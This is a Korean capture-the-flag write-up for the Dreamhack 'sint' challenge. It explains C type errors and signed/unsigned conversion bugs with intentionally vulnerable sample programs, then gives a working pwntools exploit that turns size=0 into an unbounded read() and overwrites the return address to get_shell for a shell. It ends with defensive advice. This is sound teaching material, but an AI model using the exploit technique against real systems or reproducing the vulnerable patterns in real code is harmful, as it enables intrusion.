Dreamhack Sint Write-up
0. 배경 — C의 Type Error란?
이 문제를 이해하려면 먼저 C 언어의 자료형(type) 성질을 알아야 한다.
자료형은 변수의 크기를 정하고 용도를 암시한다. int는 4바이트 정수, char는 1바이트 정수/문자처럼, 한 번 선언된 자료형의 크기는 프로그램이 실행되는 동안 바뀌지 않는다. 그렇기 때문에 그 크기나 표현 범위를 벗어나는 값을 다루면 데이터가 유실되거나 의미가 왜곡된다. 이런 부적절한 자료형 사용에서 발생하는 버그를 통틀어 Type Error라고 부른다.
자료형을 선언할 때는 변수에 담길 값의 크기·용도·부호(signed/unsigned) 여부를 모두 고려해야 한다. Type Error는 이런 고려 없이 부적절한 자료형을 사용했을 때 발생한다. 또 한 가지 주의할 점은, 같은 자료형이라도 운영체제(비트 수)에 따라 크기가 달라질 수 있다는 것이다. 예를 들어 long은 32비트에서 4바이트, 64비트에서 8바이트다.
아래에서 대표적인 Type Error 유형 네 가지를 예제로 살펴보고, 마지막에 이번 문제(sint)가 그중 어떤 패턴인지 연결한다.
(1) Out of Range — 표현 범위 초과로 인한 데이터 유실
변수가 담을 수 있는 범위를 넘는 값을 저장하면, 넘치는 상위 비트가 그냥 버려진다.
// out_of_range.c
unsigned long long factorial(unsigned int n) { // 8바이트 반환
unsigned long long res = 1;
for (int i = 1; i <= n; i++) res *= i;
return res;
}
int main() {
unsigned int n;
unsigned int res; // ← 4바이트! (반환형보다 작음)
scanf("%d", &n);
if (n >= 50) { ... return -1; }
res = factorial(n);
printf("Factorial of N: %u\n", res);
}
실행 결과:
Input integer n: 17
Factorial of N: 4006445056
Input integer n: 18
Factorial of N: 3396534272
곱셈만 했는데 18!이 17!보다 작아졌다. 이유는 factorial은 8바이트(unsigned long long)를 반환하는데, 이를 받는 res가 4바이트(unsigned int)이기 때문이다.
- 18! = 0x16beecca730000
- 이를 4바이트 res에 대입하면 상위 4바이트(0x16be)는 버려지고, 하위 4바이트 0xca730000 = 3396534272만 남는다.
출력값과 정확히 일치한다. 변수의 표현 범위를 벗어나면 저장할 수 있는 만큼만 저장되고 나머지는 유실된다는 것이 핵심이다.
(2) Out of Range (signflip) — 부호 반전을 통한 검사 우회
이쪽이 보안적으로 더 중요하다. 같은 비트 패턴이라도 부호 해석 방식에 따라 전혀 다른 값이 된다.
비트 패턴 (4바이트) signed int 해석 unsigned int 해석
| 0xffffffff | -1 | 4294967295 |
| 0x80000000 | -2147483648 | 2147483648 |
// oor_signflip.c
unsigned long long factorial(unsigned int n) { ... } // unsigned 인자
int main() {
int n; // ← signed int!
scanf("%d", &n);
if (n >= 50) { ... return -1; } // 음수 검사 우회 가능
res = factorial(n);
}
n이 signed int이므로 음수 입력이 가능하다. -1을 넣으면:
- n = -1 → n >= 50 검사를 통과한다 (음수니까).
- 그런데 factorial은 unsigned int n을 받는다 → -1이 부호 없는 정수 **0xffffffff = 4294967295**로 해석된다.
- 결국 약 43억 번 반복문이 돌아 프로그램이 한참 멈춘다.
int에 -1을 저장하면 메모리에는 2의 보수 표현인 0xffffffff가 들어간다. 이를 unsigned로 보면 4294967295가 되는 것이다. 양수로만 쓸 값에는 반드시 unsigned를 붙이는 습관이 예방책이다.
(3) oor_bof — 자료형 혼용이 Buffer Overflow로 이어지는 경우
(2)의 부호 반전이 실제 메모리 손상으로 이어지는 예제다.
// oor_bof.c (gcc -m32로 컴파일)
#define BUF_SIZE 32
int main() {
char buf[BUF_SIZE];
int size; // ← signed int
scanf("%d", &size);
if (size > BUF_SIZE) { // 상한만 검사
fprintf(stderr, "Buffer Overflow Detected");
return -1;
}
read(0, buf, size); // read의 3번째 인자는 size_t (unsigned)
return 0;
}
read의 함수 원형은 다음과 같다.
ssize_t read(int fd, void *buf, size_t count);
세 번째 인자 count가 **size_t(부호 없음)**다. 공격 흐름:
- size = -1 입력 → size > 32 검사를 통과 (음수니까).
- read(0, buf, size)에서 -1이 size_t로 변환 → 매우 큰 수가 됨.
- 32바이트 buf에 그보다 훨씬 큰 데이터 입력 → 스택 버퍼 오버플로우.
$ ./oor_bof
Input length: -1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
*** stack smashing detected ***: terminated
Aborted (core dumped)
왜 32비트(-m32)로 컴파일해야 하나?
64비트 환경에서 -1은 0xffffffffffffffff이고, size_t는 8바이트라서 이 값이 18446744073709551615가 된다. read 함수는 count가 이렇게 비현실적으로 크면 아무 동작도 하지 않고 에러를 반환한다. 그래서 이 공격은 32비트 환경에서만 성립한다. (sint도 i386-32 환경인 이유)
(4) Integer Overflow / Underflow — 연산 중 범위 이탈
저장이 아니라 연산 도중 자료형 범위를 벗어나 값이 한 바퀴 도는 현상이다.
signed char는 127에서 +1 하면 -128로(오버플로우), unsigned char는 255에서 +1 하면 0으로(오버플로우) 넘어간다. 반대로 최솟값에서 빼면(언더플로우) 최댓값으로 돌아온다.
// integer_example.c
unsigned int a = UINT_MAX + 1; // → 0 (오버플로우)
int b = INT_MAX + 1; // → -2147483648 (오버플로우)
unsigned int c = 0 - 1; // → 4294967295 (언더플로우)
int d = INT_MIN - 1; // → 2147483647 (언더플로우)
이것이 힙 버퍼 오버플로우로 이어지는 예제:
// integer_overflow.c (gcc -m32)
unsigned int size;
scanf("%u", &size);
char *buf = (char *)malloc(size + 1); // ← 여기가 함정
unsigned int read_size = read(0, buf, size);
buf[read_size] = 0;
공격 흐름:
- size에 unsigned int의 최댓값 4294967295(0xffffffff) 입력.
- malloc(size + 1)에서 size + 1이 integer overflow로 0이 됨 → malloc(0) 호출 (아주 작은 청크).
- 하지만 read(0, buf, size)의 size는 원래 값 그대로 → 거의 0바이트짜리 청크에 약 43억 바이트를 쓰려 함 → 힙 버퍼 오버플로우.
입력값에 산술 연산(size + 1)을 가하면 그 결과가 다시 범위를 벗어날 수 있다는 점을 항상 의심해야 한다.
정리 — 네 유형과 sint의 연결
유형 원인 결과
| out_of_range | 작은 자료형에 큰 값 대입 | 상위 바이트 유실 (값 왜곡) |
| oor_signflip | signed로 음수 입력 → unsigned 해석 | 검사 우회 + 거대한 값 |
| oor_bof | signed size 검사 우회 → read의 size_t | 스택 BOF |
| integer_overflow | size+1 오버플로우로 0 | 작은 malloc + 큰 read → 힙 BOF |
이번 문제 sint는 (3) oor_bof와 정확히 같은 패턴이다. 크기 검사는 int(signed)로 하면서 실제 입력은 read의 size_t(unsigned)로 받기 때문에, 음수(정확히는 size=0 → size-1=-1) 한 번으로 길이 검사를 무력화하고 스택을 덮을 수 있다. 아래 본문에서 이를 실제로 익스플로잇한다.
1. 보호 기법 분석 (checksec)
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found ← 카나리 없음
NX: NX enabled ← 스택 실행 불가
PIE: No PIE (0x8048000) ← 코드 주소 고정
Stripped: No
이 조합이 공격 전략을 결정한다.
- No canary — 버퍼 오버플로우로 RET을 덮어도 카나리 검사에 걸리지 않으므로, 카나리를 복구할 필요 없이 흐름을 이어갈 수 있다.
- NX enabled — 스택에 셸코드를 올려 실행하는 방식은 불가능하다. 그래서 바이너리에 이미 존재하는 get_shell() 함수를 호출하는 방향으로 간다.
- No PIE — 코드가 0x8048000 고정 주소에 매핑된다. ASLR이 켜져 있어도 코드 영역은 고정이므로, get_shell의 주소를 그대로 RET에 삽입할 수 있다.
결론: "No canary + No PIE + NX" → 스택 BOF로 RET을 덮어 고정 주소의 get_shell로 점프한다.
2. 코드 분석
void get_shell() {
system("/bin/sh"); // 이 함수만 실행하면 셸 획득
}
int main() {
char buf[256];
int size; // ← signed int (취약점의 핵심)
initialize();
signal(SIGSEGV, get_shell); // 세그폴트 발생 시 get_shell 실행
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0) { // size 범위 검사 (signed 기준)
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1); // ← size_t로 전달됨
return 0;
}
셸을 획득하는 경로가 사실상 두 가지 존재한다.
- signal(SIGSEGV, get_shell) — main의 RET을 깨진 주소로 덮어 세그먼트 에러를 유발하면, 시그널 핸들러로 등록된 get_shell이 실행된다. (정확한 주소를 몰라도 됨)
- No PIE — get_shell의 고정 주소를 RET에 직접 삽입해 점프시킨다.
이 write-up에서는 2번 방식을 사용한다.
3. 취약점 분석
size는 signed int라서 0 ~ 256 범위 검사를 통과해야 한다. 정상적인 경로로는 buf(256바이트)를 넘치게 할 수 없다 — 257바이트 이상 입력하려면 size - 1 ≥ 257, 즉 size ≥ 258이 필요한데 이는 size > 256 검사에 막히기 때문이다.
그러나 read의 세 번째 인자가 size_t(unsigned)라는 점을 악용하면 우회가 가능하다.
공격 흐름:
- size = 0 입력 → 0 > 256 || 0 < 0 검사 통과 (0은 유효 범위)
- read(0, buf, size - 1)에서 size - 1 = -1
- -1이 size_t(unsigned)로 자동 형변환 → 0xffffffff = 4294967295
- 결국 read(0, buf, 4294967295) → 사실상 무제한 입력
- 256바이트 buf를 한참 초과해 입력 → 스택 버퍼 오버플로우 발생
즉 단 한 번의 size=0 입력으로 길이 검사를 무력화하고, 원하는 만큼 스택을 덮을 수 있게 된다.
4. 익스플로잇 설계
스택 레이아웃
buf는 ebp - 0x100 위치에 있다. (256 = 0x100)
낮은 주소
+------------------+
| buf[256] | ← ebp - 0x100, 입력 시작점
+------------------+
| SFP (4) | ← ebp (saved ebp)
+------------------+
| RET (4) | ← ebp + 4, 여기를 get_shell 주소로 덮는다
+------------------+
높은 주소
- 패딩: buf(0x100) + SFP(0x4) = 260바이트
- 그 뒤 4바이트(RET)에 p32(get_shell) 삽입
Exploit 코드
from pwn import *
# p = process("./sint") # 로컬 테스트용
p = remote("host3.dreamhack.games", 19556) # 원격
e = ELF("./sint")
get_shell = e.symbols["get_shell"] # No PIE → 심볼 주소가 곧 실제 주소
p.sendline(b"0") # size = 0 → read에 0xffffffff 전달
p.sendline(b"A" * (0x100 + 0x4) + p32(get_shell)) # buf+SFP 패딩 후 RET = get_shell
p.interactive()
size에 0을 보내 검사를 우회하고, 두 번째 입력에서 260바이트 패딩 뒤에 get_shell 주소를 붙여 RET을 덮는다. main이 리턴하는 순간 get_shell로 점프해 system("/bin/sh")가 실행된다.
5. 플래그 획득

6. 방어 기법
이 취약점의 근본 원인은 signed로 검사하고 unsigned로 사용한 자료형 혼용이다. 다음과 같이 막을 수 있다.
- 부호 일관성 유지 — 길이/크기 등 양수로만 쓰일 값은 처음부터 unsigned(혹은 size_t)로 선언한다.
- size_t size; scanf("%zu", &size); if (size > 256) { ... } // 음수 자체가 불가능
- 연산 결과까지 검증 — size - 1처럼 입력값에 산술 연산을 한 결과가 다시 범위를 벗어날 수 있음을 항상 의심한다. (언더플로우 주의)
- 상한·하한 모두 검사 — signed를 불가피하게 쓴다면 read에 넘기기 직전 값을 다시 한 번 검증한다.
- 컴파일 보호 기법 활성화 — Stack Canary(-fstack-protector)와 PIE(-fPIE -pie)를 켜면, 설령 BOF가 발생해도 RET 조작과 주소 고정 악용이 크게 어려워진다.
7. 정리
| 취약점 유형 | Type Error (signed/unsigned 혼용) → Stack BOF |
| 핵심 메커니즘 | size=0 → size-1=-1 → read의 size_t로 0xffffffff 전달 |
| 우회한 보호 | No canary(RET 덮기), No PIE(고정 주소 점프) |
| 공격 기법 | RET overwrite → get_shell() 호출 |
'CTF' 카테고리의 다른 글
| Basic_Exploitation 001 (0) | 2026.06.17 |
|---|---|
| Basic_Exploitation 000 (0) | 2026.06.17 |
| Return Address Overwrite (0) | 2026.06.17 |
| Out of Bounds (0) | 2026.06.17 |
| shellcode (0) | 2026.06.17 |